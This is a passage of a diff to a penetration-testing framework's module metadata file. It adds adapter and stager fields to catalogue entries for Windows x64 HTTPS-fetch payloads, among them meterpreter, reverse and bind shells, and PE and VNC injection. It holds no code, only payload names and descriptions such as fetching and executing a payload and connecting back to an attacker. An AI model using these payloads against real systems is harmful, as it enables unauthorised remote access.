"windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/http/x64/vncinject/reverse_tcp_uuid": { "name": "HTTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", @@ -189853,7 +191383,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/http/x64/vncinject/reverse_winhttp": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", @@ -189890,7 +191426,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_cmd/windows/http/x64/vncinject/reverse_winhttps": { "name": "HTTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", @@ -189927,7 +191469,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_cmd/windows/https/x64/custom/bind_ipv6_tcp": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", @@ -189963,7 +191511,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/https/x64/custom/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -190000,7 +191554,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/https/x64/custom/bind_named_pipe": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", @@ -190036,7 +191596,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/https/x64/custom/bind_tcp": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", @@ -190072,7 +191638,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/https/x64/custom/bind_tcp_rc4": { "name": "HTTPS Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -190113,7 +191685,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/https/x64/custom/bind_tcp_uuid": { "name": "HTTPS Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", @@ -190150,7 +191728,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/https/x64/custom/reverse_http": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", @@ -190186,7 +191770,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_http", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_http" }, "payload_cmd/windows/https/x64/custom/reverse_https": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", @@ -190224,7 +191814,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_https", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_https" }, "payload_cmd/windows/https/x64/custom/reverse_named_pipe": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -190260,7 +191856,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_cmd/windows/https/x64/custom/reverse_tcp": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", @@ -190296,7 +191898,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/https/x64/custom/reverse_tcp_rc4": { "name": "HTTPS Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -190337,7 +191945,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/https/x64/custom/reverse_tcp_uuid": { "name": "HTTPS Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", @@ -190374,7 +191988,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/https/x64/custom/reverse_winhttp": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", @@ -190410,7 +192030,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_cmd/windows/https/x64/custom/reverse_winhttps": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", @@ -190446,79 +192072,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false - }, - "payload_cmd/windows/https/x64/encrypted_shell/reverse_tcp": { - "name": "HTTPS Fetch, Windows Command Shell, Encrypted Reverse TCP Stager", - "fullname": "payload/cmd/windows/https/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Brendan Watters", - "Matt Graeber", - "Shelby Pace" - ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", - "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", - "is_install_path": true, - "ref_name": "cmd/windows/https/x64/encrypted_shell/reverse_tcp", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false - }, - "payload_cmd/windows/https/x64/encrypted_shell_reverse_tcp": { - "name": "HTTPS Fetch, Windows Encrypted Reverse Shell", - "fullname": "payload/cmd/windows/https/x64/encrypted_shell_reverse_tcp", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Brendan Watters", - "Matt Graeber", - "Shelby Pace" - ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn an encrypted command shell", - "references": [ - - ], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", - "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", - "is_install_path": true, - "ref_name": "cmd/windows/https/x64/encrypted_shell_reverse_tcp", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_cmd/windows/https/x64/exec": { "name": "HTTPS Fetch, Windows x64 Execute Command", @@ -190553,7 +192113,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/exec", + "staged": false }, "payload_cmd/windows/https/x64/loadlibrary": { "name": "HTTPS Fetch, Windows x64 LoadLibrary Path", @@ -190589,7 +192153,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/loadlibrary", + "staged": false }, "payload_cmd/windows/https/x64/messagebox": { "name": "HTTPS Fetch, Windows MessageBox x64", @@ -190624,7 +192192,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/messagebox", + "staged": false }, "payload_cmd/windows/https/x64/meterpreter/bind_ipv6_tcp": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager", @@ -190662,7 +192234,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/https/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -190700,7 +192278,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/https/x64/meterpreter/bind_named_pipe": { "name": "HTTPS Fetch, Windows x64 Bind Named Pipe Stager", @@ -190739,7 +192323,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/https/x64/meterpreter/bind_tcp": { "name": "HTTPS Fetch, Windows x64 Bind TCP Stager", @@ -190777,7 +192367,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/https/x64/meterpreter/bind_tcp_rc4": { "name": "HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -190819,7 +192415,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/https/x64/meterpreter/bind_tcp_uuid": { "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x64)", @@ -190857,7 +192459,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/https/x64/meterpreter/reverse_http": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", @@ -190895,7 +192503,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_http", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_http" }, "payload_cmd/windows/https/x64/meterpreter/reverse_https": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", @@ -190936,7 +192550,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_https", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_https" }, "payload_cmd/windows/https/x64/meterpreter/reverse_named_pipe": { "name": "HTTPS Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -190974,7 +192594,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_cmd/windows/https/x64/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", @@ -191012,7 +192638,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/https/x64/meterpreter/reverse_tcp_rc4": { "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -191054,7 +192686,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/https/x64/meterpreter/reverse_tcp_uuid": { "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", @@ -191092,7 +192730,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/https/x64/meterpreter/reverse_winhttp": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (winhttp)", @@ -191130,7 +192774,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_cmd/windows/https/x64/meterpreter/reverse_winhttps": { "name": "HTTPS Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", @@ -191168,7 +192818,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_cmd/windows/https/x64/meterpreter_bind_named_pipe": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", @@ -191206,7 +192862,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter_bind_named_pipe", + "staged": false }, "payload_cmd/windows/https/x64/meterpreter_bind_tcp": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", @@ -191243,7 +192903,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter_bind_tcp", + "staged": false }, "payload_cmd/windows/https/x64/meterpreter_reverse_http": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", @@ -191280,7 +192944,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_http", + "staged": false }, "payload_cmd/windows/https/x64/meterpreter_reverse_https": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", @@ -191317,7 +192985,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_https", + "staged": false }, "payload_cmd/windows/https/x64/meterpreter_reverse_ipv6_tcp": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", @@ -191354,7 +193026,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_ipv6_tcp", + "staged": false }, "payload_cmd/windows/https/x64/meterpreter_reverse_tcp": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", @@ -191391,7 +193067,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_tcp", + "staged": false }, "payload_cmd/windows/https/x64/peinject/bind_ipv6_tcp": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager", @@ -191427,7 +193107,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/https/x64/peinject/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -191464,7 +193150,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/https/x64/peinject/bind_named_pipe": { "name": "HTTPS Fetch, Windows x64 Bind Named Pipe Stager", @@ -191500,7 +193192,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/https/x64/peinject/bind_tcp": { "name": "HTTPS Fetch, Windows x64 Bind TCP Stager", @@ -191536,7 +193234,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/https/x64/peinject/bind_tcp_rc4": { "name": "HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -191577,7 +193281,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/https/x64/peinject/bind_tcp_uuid": { "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x64)", @@ -191614,7 +193324,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/https/x64/peinject/reverse_named_pipe": { "name": "HTTPS Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -191650,7 +193366,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_cmd/windows/https/x64/peinject/reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", @@ -191686,7 +193408,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/https/x64/peinject/reverse_tcp_rc4": { "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -191727,7 +193455,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/https/x64/peinject/reverse_tcp_uuid": { "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", @@ -191764,7 +193498,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/https/x64/pingback_reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Pingback, Reverse TCP Inline", @@ -191799,7 +193539,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/pingback_reverse_tcp", + "staged": false }, "payload_cmd/windows/https/x64/powershell_bind_tcp": { "name": "HTTPS Fetch", @@ -191836,7 +193580,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/powershell_bind_tcp", + "staged": false }, "payload_cmd/windows/https/x64/powershell_reverse_tcp": { "name": "HTTPS Fetch", @@ -191873,7 +193621,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp", + "staged": false }, "payload_cmd/windows/https/x64/powershell_reverse_tcp_ssl": { "name": "HTTPS Fetch", @@ -191910,7 +193662,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp_ssl", + "staged": false }, "payload_cmd/windows/https/x64/shell/bind_ipv6_tcp": { "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", @@ -191945,7 +193701,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/https/x64/shell/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -191981,7 +193743,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/https/x64/shell/bind_named_pipe": { "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", @@ -192017,7 +193785,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/https/x64/shell/bind_tcp": { "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", @@ -192052,7 +193826,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/https/x64/shell/bind_tcp_rc4": { "name": "HTTPS Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -192092,7 +193872,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/https/x64/shell/bind_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", @@ -192128,7 +193914,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/https/x64/shell/reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", @@ -192163,7 +193955,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp", + "staged": true, + "stage_refname": 